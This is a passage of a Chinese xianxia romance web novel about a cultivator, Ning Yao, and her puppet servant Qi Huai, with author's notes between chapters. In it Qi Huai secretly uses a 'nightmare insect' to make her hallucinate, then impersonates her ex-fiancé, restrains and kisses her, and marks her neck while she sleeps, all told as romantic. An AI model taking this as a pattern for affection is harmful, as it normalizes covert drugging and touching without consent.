宁瑶手一抖,一整瓢水全扣在他头顶。 祁淮:“……” “对不起,不过,这是真的?”宁瑶顿时头皮有些阵阵发麻。 察觉她的害怕,祁淮立刻抬高声调安抚,弯了弯唇:“假的。” 他轻笑,如愿听见她长舒一口气。 她怎么可以这般有趣可爱。 宁瑶长舒一口气,动作越发轻柔:“傀儡又不会自己长头发,以后你秃了可怎么办?” 想象顶着一张神颜的卤蛋,天天在她眼前晃来晃去,简直要产生“傀儡人创人的创伤后遗症”。 “掉头发是永久性损伤,你可得好好护着不能秃了。”宁瑶仔细搓着玫瑰味澡豆,细致揉出泡沫从发根抹到发尾。 她很喜欢这个味道。 “主人,傀儡不会轻易掉头发。” 宁瑶下意识对比回忆中自己掉落的发丝,羡慕地眨了眨眼:“这么厉害。” 祁淮感受着纤指在发间温柔穿梭,阴郁狡黠的眼底泛起涟漪,闭着眼微微仰后头,靠近背后的她。 “主人若喜欢,这头发永远为你留着。” 宁瑶用力揉乱他满头泡沫,笑着压低声音,“禁止奇怪的发言。” 清洗掉全部的泡沫,宁瑶转到他面前蹲坐,满意地闻到他发丝间玫瑰的清香。 祁淮这才不紧不慢地微睁开一条眼缝。 湿透的长发尽数披散在脑后,由黑自中部渐变微蓝色的发尾浸在水里如海藻披散。 露出那张漂亮得雌雄莫辨的脸,水珠顺着深邃眉眼处一滴滴滚落,带着几分难言的侵略意味。 祁淮蓦地垂首,看着乖乖趴坐下的宁瑶,她衣裙未褪,法力流转并未湿水贴身。 宁瑶对上他的视线,竟无形感觉到一种被笼罩被锁定的侵略感。 此刻坐在水里的傀儡,分明该是任由她揉搓把玩。 宁瑶心头悸动,实在没忍住,下意识伸手捏了捏祁淮洇着水汽的脸颊,指尖传来温润微凉触感,“这样捏着倒是舒服。” 祁淮眼底的阴郁彻底散去,转而牵起她的手腕,温热的掌心贴上自己颈侧。水珠顺着动作滑落,“主人你看,都干净了。” 像是惹她夸奖似的小动作,宁瑶并未深思,反而夸夸他道:“嗯,不错。” 见他极为受用,被宁瑶一句夸赞,就取悦般的扬唇一笑,宁瑶就知道,“物品夸夸论”真是管用至极。 她满意地起身,“自己把剩下……咳,洗一洗。” 宁瑶轻咳一声,耳根微热,有些不好意思赶紧走出灵池,转身绕到屏风后。她换了身干净的鹅黄衣裙,就在屏风外等他。 屏风隔绝,水声淅沥,裹着雾气般撩拨。 她不可避免听着里面哗哗的水声,脑海不由自主得回忆起白晃晃的画面。 完全让人无法忽视。 宁瑶抬手拍了拍发烫的脸颊。 都怪那张脸是洛子晟的模样,更是她的傀儡。 想想不算逾矩吧…… 水声戛然而止。 脚步声从屏风后传来,稳健轻盈,她却不可思议感到一丝紧张,心尖无端跟着一颤。 见他慢条斯理地套上里衣转出,未擦干的水痕将布料透出些若隐若现的肌理。 披散的长发坠在脑后,水珠正顺着发尾往下滴。 “快换上。” 宁瑶从储物玉佩里取出件深蓝长袍塞过去,目光掠过他滴水的发梢顿了顿。 虽说着傀儡不会染风寒,还是抽出布巾替他擦了擦发尾。 与其他黑发不同,这里的渐变蓝色很好看,她忍不住在指尖缠绕了一圈,不经意回神后退,撞进他含笑的眼眸。 “怎么不换?” 祁淮接衣时,指腹若有似无擦过她手背,留下一道湿濡的痒意。 宁瑶下意识挠了挠那处皮肤,浑然未觉对方眸色暗了暗。 这试探的动作下,祁淮看她并未有所察觉,唇角扬起,凑近半步,“主人,手指还僵着,需要主人帮帮我。” 宁瑶眨了眨眼。 她的每日起居都是祁淮打理,头回被傀儡拜托,让她生出些新奇感觉。 仿佛她面前的不是一个傀儡,而是一个有情绪、会撒娇的“人”。 不过甚好的是,傀儡带着和“人”不一样的违和,他本不是一个真正的“人”。 宁瑶心想,真不愧是她花万金买下的傀儡,不知其他傀儡是否也如祁淮这般…… “罢了,就这一次。”她不由失笑,带着几分纵容微昂了昂脑袋仰面看他,重新接回衣袍给他一件件穿上,“谁让我是你主人了。” 他身形较高,宁瑶不得不踮起脚尖才能够给他穿好。 傀儡主动俯身配合,乖顺地垂下头颅,一副乖乖巧巧的模样,倒省了她不少力气。 系带穿绕时,她整个人几乎陷进他宽大的衣袍里。 温热的呼吸不经意拂过她的发顶,让她有些无法忽视这过分亲密的距离。宁瑶抬头欲退开,唇瓣却堪堪擦过他微凉的下颌。 “失礼了。”她像被烫着般后退半步,脸颊烧得厉害,竟对个傀儡生出赧然。 祁淮微歪头,敛眸一笑,“主人,我本是你的傀儡,何来冒犯一说?这可不算冒犯。”最后几个字眼,他意味深长的拉长尾音。 “不算冒犯”四个字轮番在脑海如彩条大屏滚动。 她结巴了:“这……这……” 见宁瑶蹙眉思忖,真是认真思考,趁热打铁,不着痕迹地倾身。 少年清隽俊逸面容骤然在眼前放大闯入,惊起她眼底潋滟波光。 “那也不成!” “那也不行。” 宁瑶咬了咬唇。 祁淮这傀儡自然不知他和洛子晟长相一模一样,但为何自己难以下意识去结合“祁淮”和“洛子晟”的相似点。 一个是仿佛她一个眼神,就能为她摘星揽月,予取予求的傀儡少年。 一个是克制清冷,将她当傻子退婚,闹得满城风雨,成了大笑话的智障洛子晟。 怎么能相提并论? 宁瑶思想越想越跑偏,却独独没敢往“冒犯”上想,更不敢深究方才擦唇而过的触感。 她赶紧垂首,手上不自觉地加快速度,指尖翻飞着打好结扣,系好后便连忙退后一步。 祁淮呼吸一窒,那萦绕在鼻尖的馨香倏然抽离。他垂在广袖下的指节蜷了蜷,眸色越发深沉幽深。 一个大胆痴心的妄念在脑海形成了雏形。 蛰伏已久,破土而生。 宁瑶不自然地轻咳一声,偷瞟了祁淮一眼。见他没有继续说,强自镇定地绕着他转了一圈。 确认祁淮仪态无失,宁瑶自我满意地抱臂一笑,很是自然地转移话题:“祁淮,目前还有力气不?” 祁淮眼睫微垂,乖顺地敛首一笑。 宁瑶回眸瞥了他一眼,见少年安安静静站在原地,与平常无异,便放心地推开灵池的房门。心情轻快,转身回屋。 殊不知在她转身的刹那,那一道始终追随她的目光骤然滚烫。 作者有话说:[狗头叼玫瑰] 第34章 祁淮紧跟其后,潮湿地窥伺,在狡黠的眸底化为实质。 折腾了一整天,宁瑶早已困得眼皮打架,草草收拾完自己便歪倒在床榻上翻来覆去。 刚要睡着,眼前却反复浮现出今日那片白晃晃的,让人无法忽视的胸膛。 她迷迷糊糊合上眼,就在以为自己快要睡着时,手背忽然传来一阵细微的刺痛,像是被什么小虫叮了一口。 下一秒,她便彻底坠入了睡意中。 祁淮把玩着掌心的梦魇虫,赤红色的小虫因长久未食,已缩成拇指盖大小,在他掌心微微蜷动。 这是他当初私藏的那一只,原本想借它知晓宁瑶的梦境,可惜上次鸡鸣声打断了。 如今日日以自身灵气喂养,即便母虫已死,这只子虫仍能发挥些微末作用。 比如,让她做一个梦。 宁瑶睡得昏昏沉沉,再度睁眼时,竟置身于一片烂漫花海。 她躺在绵软的花丛中,眼前有点点粉彩微光翩跹闪烁,惹得她下意识抬手遮在眼前。 一道不容忽视的目光落在她身上。 她侧过头,视线渐渐聚焦,对上侧坐在花丛中的祁淮。 他漆黑的眸子深不见底,正静静凝视着她。 宁瑶凑近些,意外地发现祁淮身形微僵,竟要起身退开。 她下意识伸手,一把拽住了眼前这个“傀儡”的衣袖。 这应该是在做梦吧? 宁瑶径直坐起身,环顾四周这片完全按照她喜好生长的花海,目光慢悠悠落回祁淮身上。 祁淮正以为蛊虫失效,欲后退将她唤醒,她却忽地伸出手,指尖轻抚上他的眼角下面。 “刚才,明明还看见的……”宁瑶使劲地眨了眨眼,不满地嘀咕。在他四周奇幻的光晕里,怎么她一转头,他眼尾两颗勾人的小泪痣就不见了? 少年披散着墨发,衣襟松散地敞开,露出深V轮廓,侧坐花海中显得格外妖冶昳丽。 可又哪里不太一样…… “洛子晟,你怎么跑我梦里来了?”宁瑶极为困惑,使劲眨着眼。没好气地伸手捏住对方脸颊往两边扯,拉扯的力道毫无客气可言,却带了些怒气。 祁淮被扯得没能说话,恶劣的小心思先一步压下脸颊上的疼意,低笑着一手扣住她两只手腕,握的很牢,顺势将人往怀里带。 她讶然抬眸,睁大眼,“嗯?干什么?” 意识到宁瑶并非做了梦境,而是眼前开始产生幻觉,祁淮顺水推舟般倾身靠近。 没想到她反而更加乱动,显然在抗拒着“洛子晟”的逼近。 “嗯?”祁淮低笑,不在前倾身形,保持着微妙的距离。尾音宛若带着一把天然诱惑的小钩子,“怎么,不喜欢我入梦来见你?” 此刻他像一只恶劣狡黠的狐狸,引诱着迷路的小猫,一步步掉入他的“陷阱”。 虽然和他所想的不一样,却也是难得的机会。 这个距离,少年身上淡淡玫瑰清香萦绕在鼻翼,与记忆中清冷的洛子晟截然不同。 宁瑶被玫瑰香搅得晕乎乎,周围的百花似乎都在齐齐绽放,懵懵地抬眸:“果然是梦,连花海都把你这块木头腌入味了。” 她突然蹙起眉头,脑海记忆不受控的如潮湿涌来,陷入混乱的记忆里,在过去“记忆”的漩涡里挣扎不出。 “凭什么我在梦里还要被你压制?” 宁瑶像只耸了背的猫,带着薄怒的力道撞在少年结实的胸膛上,反倒被更紧地禁锢在怀抱中。 花影缭乱,她一时慌神。 祁淮在确认,确认她对“洛子晟”的抗拒不是假意,眸中掠过欢愉的暗芒。 就着被扯乱的衣襟,将人轻圈在臂弯里,指尖摩挲过她的手腕:“那要如何才肯消气?” 他歪头扬唇,流转的眼波比这花海更让人移不开目光。 “不如把我捆在梦里,任你处置,如何?” 宁瑶气鼓鼓地伸手抵在他胸膛前,用力将人推开了些。 他方才那点气势转眼一变,如一只狡黠的小狐狸,懒洋洋地倚在榻边。 “不许笑。”宁瑶板起脸,意识到梦里的“洛子晟”也太不一样了,“我有正事要问你呢。” 祁淮瞧着眼前人难得露出这般娇嗔模样,故意拖长了语调:“好,你问。” 宁瑶倏地从床沿站起身,双手叉腰,要他仰起头来看自己才满意。 她清了清嗓子,“若是没有云冉冉,你当初还会执意与我退婚么?” 话音落下的刹那,祁淮唇畔的笑意如退潮般消散。 他周身那股漫不经心的气息骤然收敛,眼底翻涌起浓稠的暗色阴郁几乎化为实质。 他原以为自己考虑周全,却独独漏算了这一着。 他低估了。 低估洛子晟如今是过眼云烟,可那些朝夕相伴的往事记忆,终究在她心里刻下了痕迹。 宁瑶确实想知道答案,正因为笃定这是“梦境”,才敢这般肆无忌惮地扬声问他。 可梦中“洛子晟”竟一反常态地沉默下来,眉眼间阴郁沉沉,看得她无端生出几分不自在。 宁瑶撇了撇嘴:“算了,反正你只是个梦,问也白问。” 手腕骤然一紧,她被他猛地拽入怀中。 一股酸涩密密麻麻啃噬着他的心,他简直是自讨苦吃。 早该解开这幻境,让她清清楚楚看看,眼前的人究竟是谁…… 宁瑶猝不及防撞进他怀里,惊得睁圆了眼睛。 这梦太不讲究逻辑了吧。 她很快说服自己接受这个梦境设定,在“洛子晟”怀里挣动起来。 谁知她越扭动,祁淮手臂收得越紧,甚至得寸进尺地将下巴搁在她颈窝。 宁瑶嫌弃地伸手去推他的脸:“怎么,洛子晟,你现在换战术了,改用这套恶心人的招数?” 这话里带着明晃晃的私人恩怨。谁让他们现在势同水火,字面意义上的“冰火不相容”。 恶、心? 祁淮阴郁的眸底闪过一丝裂痕,几乎是气笑了。 他非但不退,反而得寸进尺地贴近,唇瓣若有似无擦过她白皙的耳垂,这里颈侧馨香的好闻。 怎么会有一个人这般香? 反正,此刻在梦里,他便是“洛子晟”。 “可恶。”宁瑶挥舞着手掌就要推开他,却被他四两拨千斤给两只手腕抓得牢牢,紧扣住双腕带入怀里。 她在心里给洛子晟狠狠记上一笔,连在梦里都不忘恶心她,真是闲得发慌。 给她吓得够呛,犯闲的很。 祁淮眼底漾起病态愉悦的涟漪,心底翻涌的恶劣情绪也如潮水般一一褪去,一刹那在她的眼波中平息。 她这通张牙舞爪的“猫拳”,让他想起苗疆阴雨连绵的那一天。一只孤零零的橘猫,在他伸手时,也是这般“邦邦”给他手背来了几下。 祁淮的唇瓣放肆地擦过她的耳垂,最终在她清醒时,第一次吻在了她敏感的耳后。 霎时间,她只觉得梦境中的花海轰然颠倒,万千花瓣凌乱飞旋,毫无道理地搅乱了她的心神。 宁瑶根本无心欣赏梦境景象,怒气随着未褪的惊吓,一口咬在他露出的颈侧。 “放手。” 唇瓣相触之处,在颈侧留下湿润的触感。 祁淮在她彻底发作前松了手,人僵硬地后退了半步。 宁瑶跌坐回花海中央,却觉得身下的花瓣软绵绵得不着力道。她胡乱摸索间摸了摸一朵蔷薇,实际掌心轻轻陷进了锦被里。 祁淮的指腹摩挲着颈侧,那个她主动留下的印记,歪头露出一个病态的笑。 这个动作成功地将她的注意力拽回了他身上。 祁淮抑制不住眼底的笑意。 他想要宁瑶永远这样注视着自己,那些翻涌的情绪他尚未厘清,但他有的是耐心慢慢领会。 “原来你也是会笑的。”宁瑶撇了撇嘴,妍丽漂亮的眸子里写着明晃晃的无语,“还不如不笑呢。”笑起来,还没有她的傀儡好看。 “怎么,我的脸还不如你那傀儡好看?”祁淮歪头凑近,唇角噙着漫不经心的笑,眼底的认真被隐秘的藏起。 “你会读心?”宁瑶疑惑眨了眨眼,随即恍然,“不对,这是梦里,你是我的梦中人,自然知道我在想什么。” 她非但不躲“洛子晟”的直视,反而不客气的拽住他的袖口往下一拉,“坐下说话。” 祁淮侧身而坐,小心紧靠着她,见她并未察觉便抬眸,四目相对的刹那,他呼吸微滞。 良久,无意义地低低“嗯”了一声,指节蜷紧,习惯性想摸腰间的四角铃铛,却捞了个空。 沐浴时,他早已解下了。 祁淮垂下手,嗓音里带着刻意的松散与不在意,“我和那傀儡,不是生得一般无二吗?怎么会有好看难看一说?” “那能一样么?傀儡是我的贴心人,你……”她故意停顿,意味深长地哼了一声,“不是。” 宁瑶抬起眼帘,望进那双幽深如潭的眸子,回忆往昔记忆,声音不自觉轻了下来,“或许以前是,现在不是了,洛子晟。” 祁淮莫名松了一口气,却又得寸进尺地凑近追问:“若非要你选,在你心里,我和他,谁更得你欢喜?” 宁瑶扶着逐渐发晕的脑袋晃了晃,无奈瞪他一眼,“你这梦中人好生古怪,祁淮是傀儡,你是活人,这要怎么比”她沉默噤声。 祁淮眼底的戏谑褪去,暗潮翻涌的眸光紧紧锁住她:“若是我偏要比呢?” 他倾身逼近,一字一顿诱哄着:“告诉我,好不好,宁、瑶。” 听见他连名带姓的称呼。 宁瑶别扭的挪开视线,推开他凑近的脸颊。 洛子晟很少这么叫她,从前他多是只给一个眼神来代替。 作者有话说:[三花猫头]小修一下 第35章 这人真是古怪,非要和一个死物争个高低。 宁瑶揉着发痛的太阳穴,意识开始昏沉,他那执拗眼神将她钉在原地。强撑着一丝清明,宁瑶低头避开他的注视,字字清晰:“反正,不是你。” 祁淮心口像是被钝刀慢悠悠地剐蹭了一下。 旋即他意识到一件事:此刻在宁瑶眼里,他就是“洛子晟”。 她对着这张脸说……不是他。 那岂不是意味着,在她心里,真正令她欢喜的,始终是傀儡祁淮。 ——那剥开伪装后,真实的他呢? “当真?”祁淮嘴角倏地扬起笑意,凝聚的阴郁散去,隐秘占有与贪恋藏在故作清冷的深邃眉眼后。 宁瑶被他这忽如其来的笑弄得莫名其妙,极为随意的“嗯”了一声。 梦里这人是不是笨蛋她不清楚,但这脑回路她是真跟不上,可别梦中人在她面前疯了嘞。 “洛子晟”倾身压下来,却并未胡作非为,只将她整个捞进怀里。 他的怀抱透着股不寻常的凉意,恰如那人天生的冰灵根,寒意丝丝缕缕地渗入身体中和体内的灵气。 宁瑶迷迷糊糊地想,这梦境真实得过分,连这冰凉复刻得不差半分。可此时此刻,这般梦境她却又觉得带着莫名的熟悉感。 ……真是见了鬼了。 可来不及细想,一阵天旋地转如潮水袭来,最后瞥了眼这个莫名其妙的“洛子晟”,她眼皮一沉,彻底陷入真正的梦乡。 宁瑶在祁淮的怀抱里沉沉睡去,他将她侧卧在绵软的锦被中,一半抱在怀里。 梦魇虫的时效到了。 祁淮歪过头,缓缓倾身,近乎贪恋地凝望这张睡颜。 时间太短了。 每次都是这样,祁淮总觉得时间流逝得飞快,怎么都不够用。 将宁瑶揽进怀里,指尖在她方才被梦魇虫咬过的地方细细探查。 确认并无异样后,他才松了口气,低头轻嗅她发间淡淡的香气,唇角不自觉勾起一抹笑意。 少女微张的唇瓣尤其惹人注目,像熟透的樱桃,诱人采撷。 但他并没有进一步的动作,只是将下颌轻轻抵在她颈窝缓缓磨蹭。这轻柔的触感仿佛羽毛拂过,惹得睡梦中的宁瑶无意识地缩了缩脖子。 他的唇缓缓游移至她后颈,在那里停留许久,留下一个淡红的印记。做完这一切,他才心满意足地伸手圈住她的手腕。 宁瑶睡得并不沉,恍惚间觉得自己又陷入了另一个梦境。 梦中似乎有什么冰凉柔软的东西轻轻擦过她的手背,接着整个人被紧紧拥入一个怀抱,那力道带着不容拒绝的占有欲。 ——抱着还不撒手了。 这接触让宁瑶本能地想要抗拒,被上一个“梦境”困扰,她下意识担心是否重新连接了上一个梦,那个有“洛子晟”的梦。 身体却先一步比意识认出了熟悉的气息,不由自主地往微凉的怀抱里钻了钻。 好乖。 他唇瓣擦过她的额头。 宁瑶体内躁动不安的灵力随之溢出,体温渐渐升高,哪怕闭着眼,也睡的极不安稳,呓语着:“热……” 一种陌生却熟悉的温和灵力缓缓渡来,如春雨润物,一点点为她抚平体内躁动翻涌的火灵气。 宁瑶舒服地哼一声,手不由自主得环上了他,脸颊更贴近凉意,蹭了蹭他的衣襟,不知不觉在这个舒服的怀中睡得更沉了。 祁淮眉梢愉悦地扬起,掌心稳稳托住她的后脑勺。 小猫需要他。 而他,更需要他的小猫。 * 宁瑶迷迷糊糊睁开眼,醒来时整个人还陷在困意里,四肢沉得像是被云朵裹住。 居然梦见洛子晟,真是晦气。 她揉着眼睛迷迷糊糊环顾四周,发现祁淮仍静立在床畔。 “主人醒了?”他眼波倏地泛起涟漪,单膝抵在床沿俯身时,衣摆掠起清新的草木香,“要再歇会儿么?” 宁瑶像只慵懒的猫蜷进锦被,“就五分钟……”话音未落又合上眼皮。 半梦半醒间,有微凉指尖轻轻拂过她的额角,那缕令她安心的香气久久不散。 结果这一觉睡到天光大亮。 宁瑶睁眼时发现自己不知何时又躺在距离祁淮惯常站的位置,最近的地方。 “怎么不叫我?” “看主人睡的很香,便让主人多睡会,现在不过才巳时,不妨事。”祁淮伸手欲触及她的发顶,中途又转去理了理宁瑶蹭乱的鬓发。 看似无意的动作,宁瑶有些在意地看向他,笑一笑。 她抱着被子坐起来,突然想起昨夜关于洛子晟的梦。 莫非是修改限制文的后遗症? 毕竟原剧情里她这个恶毒女配存在的意义,就是为得到男主不择手段。 还没理清思绪,她施施然起身,任由祁淮执起梳子为她绾发。 她刚踏出院门,一只千纸鹤扑棱着落在她掌心,展开是师尊岳伍传讯,让她即刻前往主殿,有事商议。 宁瑶正琢磨何时去找岳伍打探画卷之事,没想到对方先找上门了。 待她赶到主殿时,新晋内门弟子有的已列队站好,还没站稳,就被一身粉黛色长袍的夜烁卿拽到一旁。 这花孔雀的衣袍颜色着实晃眼的很,配上夜烁卿含笑眼眸,着实称得上“男人比鲜花还娇嫩三分”。 夜烁卿把这句话诠释的淋漓尽致,但他相貌好看,往那里一站就是道别样的风景。 “你怎么才来?”夜烁卿小声问道,语气似哀怨,却又笑着看她。 他欢乐地把玩着玉笛,身形凑上来,桃花眼笑盈盈成一轮弯月:“已有几日未见,师妹个小没良心的,都不来寻你夜师兄我聚一聚。上次怀师兄送了东西,人也没了音信。” 话音一落,他极为刻意地半瞅半瞄了宁瑶一眼。 眼见宁瑶听到怀无岐此人的名字,神情并无异样。他毫无察觉地松了一口气,紧绷的肩线不自然地松懈。 果然是他想多了。 这怀无岐,多半是一个自作多情的弟子罢了。 宁瑶不明所以然,瞄了眼四周神色各异的同门,小声问道:“怎么回事?突然聚了这么多人。” 夜烁卿微不可察地叹了口气,随她一同站进弟子队列,侧过头,将声音压得极低,故作玄虚:“听说是个不起眼的小门派,私下用了巫蛊邪道强行提升修为。” “这本不该我们天道宗过问,可那青合宗一贯推诿,硬将这块烫手山芋丢了过来,要我们主持公道。依我看……此事,定然与‘那里’脱不了干系。” 宁瑶听得云里雾里,环胸抱臂,眨了眨眼:“那里?到底是哪里?你别打哑谜了。” 作者有话说:没写完[化了]忙工作ing 第36章 夜烁卿见成功勾起了宁瑶的好奇心,笑意掠过,慢条斯理地吐出五个字:“山海渊,苗疆。” 宁瑶正要追问,主持晨会的岳伍清了清嗓子。原本窸窣低语的大殿霎时静默,所有目光都汇聚到前方。 岳伍锐利的视线扫过全场,声音沉凝:“修行之道漫长艰险,从无捷径可走。近日巫蛊之术的传闻甚嚣尘上,若有人在山海渊附近发现异动——”他语气陡然加重,“切莫听信任何蛊惑之言。” 宁瑶立刻会意。 这既是警告也是提醒,是怕有人动了歪心思。 待岳伍结束这番训诫,日头已升高半丈。 宁瑶悄悄活动站麻的双腿,心底不禁腹诽:果然不论在哪个世界,晨会这种东西都阴魂不散。 “散了吧。”岳伍挥袖屏退众人,独独留下洛子晟与宁瑶。 宁瑶不自觉地往旁边挪了半步,与那道清冷身影拉开距离。昨夜梦境太过真实,此刻见到本尊仍心有余悸。 洛子晟清列如霜的眸光淡淡扫来,竟有些宁瑶看不懂又难以捉摸的深意。 岳伍将两人这番暗涌尽收眼底,轻咳一声打破僵局:“你们入内门已满三月了吧?” “师尊记得没错。”宁瑶扬起惯常的明媚笑容。 岳伍的视线在她身上停留片刻,语气缓和些许:“青合宗请求支援,正好有个历练交予你们。宁瑶,你当初从儋城过来时,可还记得清玉道观?” 他目光如炬,仿佛能洞穿人心。 宁瑶瞬间将前因后果串联起来,见师尊神色如常,坦然应道:“记得。我当时也在场。” 岳伍若有所思地收回视线,对这个答案并不意外。 “本次下山调查由荷钰长老带队,除你二人外,另有几位选拔出的优秀弟子同行。” “是。”宁瑶与洛子晟齐声应道。 踏出主殿时,宁瑶敏锐地捕捉到一道落在自己身上的视线。 她大大方方迎上去,没曾想那人竟仓促移开目光。 这副做贼心虚的模样,让她实在没法跟梦里恶劣的洛子晟联系起来。 眼前这人清冷孤傲,俨然高岭之花的男主,与梦中判若两人。 “宁瑶……” 就在她转身时,一声几不可闻的低唤随风飘来。 “嗯?”她回眸。 洛子晟的指节微微收紧,唇瓣翕动却终究无言。那欲言又止的神情落在宁瑶眼里,他偏过头,衣袂翻飞间与她擦肩而去。 “莫名其妙。” 宁瑶轻扯嘴角,回到住处便将此事告知祁淮。 正在收拾行装的少年动作微滞。 “主人,不打算带我去么?”祁淮垂首凑近,声线里酝着不易察觉的阴郁。 他刻意放低姿态,眼尾却掠过一丝病态的执念。 明明她是个仰望的姿势,偏让祁淮演出了大型犬被抛弃时的委屈。 宁瑶心虚地摸了摸鼻尖,“我再想想。” 其实她是怕洛子晟察觉祁淮的存在,但更深处,竟是怕这个傀儡看见那张与洛子晟如出一辙的脸。 这念头让她自己都愕然。 察觉到她的迟疑,祁淮在心底重重地哼了一声。 一只口是心非的小猫,分明昨夜抱着他的腰说,还会在梦中抉择欢喜的是他。 似苗疆皎洁的月,他捉摸不透。 他原以为月辉落下在他身边,他便懂得宁瑶,总以为掬得清辉在手,低头却只见在湖心的月影。 银铃随着偏头的动作轻响,少年眼底翻涌着晦暗。 读过的书还是太少…… 宁瑶被他的眼神看得莫名心虚,索性溜去灵瀑修炼。 祁淮眼见她离开消失的背影,指尖一点,一只蓝蝶翩然,两抹黑影悄然跟了上去,琴虫、黑蛇一左一右。 祁淮不紧不慢的推开墙角的暗格,里面还残留着花籽与草药气息。漫不经心地将几株枯草掷进蛊盒,里面传来几声窸窣的啃食声。 指尖划过书页,墨字在光晕中模糊成片。 祁淮试图专注,思绪却飘向同一个方向。 为何离了她,那些纷乱情绪仍盘桓不去,像蛛网黏连在他的心头。 懒懒倚在案边,记事珠在掌心流转,迎着窗外疏落的光。 灵力化作的墨迹随着光影变幻,字字句句皆是与她相关的记忆。 写到某处时笔锋骤沉,到底还是将洛子晟的名字重重记了一笔。 良久过去,黄昏西斜,宁瑶踏进院门时刻意放轻脚步。 透过门缝,宁瑶看见祁淮正俯身打理着花草。 暮光落在他渐变蓝色的发梢,竟给那阴郁侧影,镀上一层虚幻的光晕。 她恍惚生出错觉,仿佛有人始终会在这里,等着她归来。 铃音轻响。 “祁淮。”宁瑶轻声唤道。 门扉无风自开,浅淡的甜香扑面而来。 其实早在宁瑶脚步声未至时,熟悉的馨香早已缠上他的呼吸。 祁淮抬眸回看,唇边仍是那抹的温良笑意,瞧不出半分锐利。 宁瑶心虚地轻咳:“你随我一同下山吧。” 祁淮掩饰不住上扬的嘴角,眼底压抑不住那病态的兴奋,轻“嗯”了一声。 刻意的角度,果然如那本《情缠》所载。 虽说书中摄政王为农家女弃江山,大将军对落难女一见倾心的桥段蠢得可笑。 但能让她驻足的方法,他从不介意一试。 宁瑶忍不住莞尔,心头莫名的愉悦,脚步轻快地转回屋里。 当晚她照例领着祁淮去灵池,养护傀儡关节。 少年安静地浸在氤氲热气里,墨发湿漉漉贴在颈侧,像一尊任由摆弄的玉雕。 直到宁瑶为他系好寝衣系带时,祁淮突然倾身逼近,烛火映在他眼底,如跳成幽深的星子,嗓音是恰到好处的好奇:“主人,你的脸……” “嗯?”宁瑶下意识用还沾着水汽的手背贴脸,竟被自己颊上的温度熨得一怔,“我的脸怎么了?” “红得很,像染了水的朱砂。”祁淮藏起眼底翻涌的暗潮,故作懵懂地伸手,微凉指腹轻轻划过她腮侧。 这凉意惹得宁瑶轻轻一颤,却只当是傀儡不解世事的举动。 宁瑶还笑着用手背给脸颊降温:“估计是热的。” 祁淮唇角无声勾起,又迅速抿成温顺的弧度。 得寸进尺地再触一次那片细腻肌肤后,才心满意足地负手而立,袖下指尖轻轻摩挲,似在回味什么珍馐。 待收拾停当,宁瑶连灌两杯凉茶才压住心头燥热。 在屋里来回踱步,活动筋骨完就爬上床,满脑子都是明日宗门的安排。 限制文里有这段下山历练的副本吗? 烛花噼啪一响。 披着几乎预干长发的傀儡,不知何时已立在榻前。 带着草木清香的身影笼罩下来,很自然地坐在床沿,目不转睛盯着准备就寝的少女。 “怎么了祁淮?”宁瑶抱着锦被往后缩了缩。 少年抬起幽深的眼:“往后,每逢特殊时期,主人都会这般照料我么?” 宁瑶喉间轻轻滚动干咽一口,点点头:“自然。” 祁淮无声地勾唇,嗓音里带着刻意压低的蛊惑:“主人,可有奖励?” “奖励?”宁瑶捏着被角的手指微微收紧。 “恢复了,不该有奖励么?”祁淮倾身靠近,将书中看来的台词娓娓道来。 他眼底平静无波,没有情绪,依旧是那般标准无害的模样。 她竟感觉出了一丝不易察觉的紧张。 宁瑶轻咳一声,眨了眨妍丽的亮眸:“那你说说,想要什么奖励?” “主人,我是傀儡,此生只与你一人相伴。书中记载,人类会用亲吻表达喜悦。” 亲?! “祁淮你都在看什么书……”?看的都是什么呀,下次不许看了。 宁瑶话到嘴边,昳丽的面容已然接近。微凉的唇瓣轻轻落在她的脸颊。 带着玉石般的触感,柔软中透着凉意。 柔软,微凉,富有弹性。 宁瑶微睁大眼眸,急忙打断,猝不及防地掀被起身,奈何力道过猛,额头便撞上他的眉骨。 温热是唇瓣擦过他线条分明的下颌,整个人重心不稳,竟将他压倒在床榻边缘。 一只大手稳稳托住她的后腰,不着痕迹地往下按。宁瑶顺着这股力道,险些整个人栽进他怀里。 “祁、祁淮!” 宁瑶捂着发红的额角,眼风飞快扫过他下颌明显的红痕。 倒是比她的肌肤还要敏感。 偏生罪魁祸首仍顶着那张颠倒众生的脸,一本正经地解释:“在学习书中的内容,主人。” 他平静无波的眸光掠过她泛红的耳尖,像在观察什么有趣的。 小猫,好慌乱。 这般纯粹的眼神,让宁瑶心头那一点异样顿时消散。 殊不知在那张完美无瑕的皮囊下,某颗低缓的心,正违背往日的跳动,剧烈搏动,祁淮险些维持不住表面从容假面。 宁瑶捂着发烫的脸颊暗自唾弃自己。 被这样漂亮的雌雄莫辨的容颜亲一下,分明是占便宜、享受的是她才对吧。 毕竟祁淮本就生得实在合她心意,又从来学不会拒绝她的命令。 不对不对! 她的傀儡不是极为聪明的吗? 原来傀儡也需要更新,更新系统的方式就是囫囵吞枣地看书? 这么朴素的升级途径真的没问题吗? “以后不许再学这些了。”宁瑶强作镇定,抬高声音,借着命令掩饰慌乱。 反正傀儡从来都会乖乖听话的…… 直到她视线撞进一双幽深的眼眸,忽然竟有一丝微妙的不确定起来。 祁淮眼底的狡黠恶劣,都藏在这“傀儡”面具之下。他手指微不可察地掠过她的纤细腰线,带着几分无声的蛊惑。 宁瑶看着这张“懵懂”的俊容,干咽一口,声音很大。 她突然觉得好渴。 宁瑶惊觉自己仍是趴在祁淮身上,慌忙起身,却又一只极大的手掌按住腰身。 作者有话说:宁瑶:你都在看什么书!!![化了]祁淮:(付费内容)(被打口口) ps:大家多多留评呀[狗头叼玫瑰][让我康康] 第37章 宁瑶原本松弛的手臂骤然失了力,腰线一塌,竟又被祁淮牢牢按回怀中。 祁淮不过是虚虚环着她,可这姿势里透出的亲昵,却是她从未觉察过的一缕温存。 她脑中“嗡”的一声,思绪彻底停滞。 “主人,这算奖励吗?”祁淮唇角无声地勾起弧度,宁瑶实在看不懂这个“傀儡”究竟意欲何为。 但此刻距离真的好近,近到她可以清晰听到祁淮每一次的呼吸,带着一身草木清香的呼吸拂过耳畔,纤长睫毛如蝶翼般投落在如玉面容。 他的呼吸似乎越发沉,又带着刻意压低,加重嗓音,果然如愿瞥见某人越来越红的耳垂,似染上了胭脂色。 宁瑶顿时像只受惊的猫儿,猛地从他怀中弹起,几乎是本能地推开他向后缩去。 祁淮眼底掠过一丝几不可察的失落,垂眸望向自己空落落的臂弯。 